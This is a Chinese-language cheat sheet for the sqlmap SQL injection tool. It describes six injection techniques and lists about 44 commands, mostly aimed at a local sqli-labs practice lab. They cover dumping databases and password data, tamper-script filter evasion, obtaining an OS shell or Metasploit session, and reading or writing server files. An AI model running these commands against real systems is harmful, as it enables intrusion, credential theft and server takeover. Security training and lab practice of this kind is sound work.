sqlmap常见命令:

工具Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。一般Linux kali 系统自带的。

目前支持的数据库有MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft Access等大多数据库。

Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。

基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

联合查询注入:在可以使用Union的情况下的注入。

堆查询注入:可以同时执行多条语句时的注入。

带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

sqlmap常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sqlmap -r http.txt  # 从文件读取 HTTP 请求
sqlmap -r http.txt -p username # 指定参数进行注入
sqlmap -u "http://www.xx.com/username/admin*" # 指定 URL 进行探测
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" # 探测该 URL 是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" # 使用 Cookie 进行探测
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" # 提交 POST 数据进行探测
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users # 查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords # 查看数据库用户的密码
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user # 查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba # 判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles # 列出数据库所有管理员角色,仅适用于 Oracle 数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs # 查看所有数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables # 查看所有表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns # 查看所有列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db # 查看当前数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables # 查看 security 数据库中的所有表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns # 查看 security 数据库中 users 表的所有列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump # 导出 security 数据库中 users 表的 username 列的数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 # 导出前 100 条 username 数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all # 导出 security 数据库中 users 表的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all # 导出 security 数据库中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all # 导出该数据库中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --tamper=space2comment.py # 使用脚本进行过滤,用 /**/ 代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 # 设置探测等级和风险等级
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell # 执行指定的 SQL 语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell # 获取目标服务器的 OS shell
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-cmd # 执行 OS 命令
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn # 通过 MSF 获取目标权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" # 读取目标服务器文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" # 上传文件到目标服务器
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" # 指定数据库为 MySQL
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent # 使用随机 User-Agent
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" # 指定代理
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T # 指定探测技术
sqlmap -d "mysql://root:root@127.0.0.1:3306/mysql" --os-shell # 直接连接数据库
sqlmap -v3 # 输出详细度
sqlmap --threads 5 # 设置线程数
sqlmap --fresh-queries # 清除缓存
sqlmap --flush-session # 清空会话,重构注入
sqlmap --batch # 批处理模式
sqlmap --random-agent # 使用随机 HTTP 头
sqlmap --tamper base64encode # 对提交的数据进行 base64 编码
sqlmap --referer http://www.baidu.com # 伪造 Referer 字段
sqlmap --keep-alive # 保持连接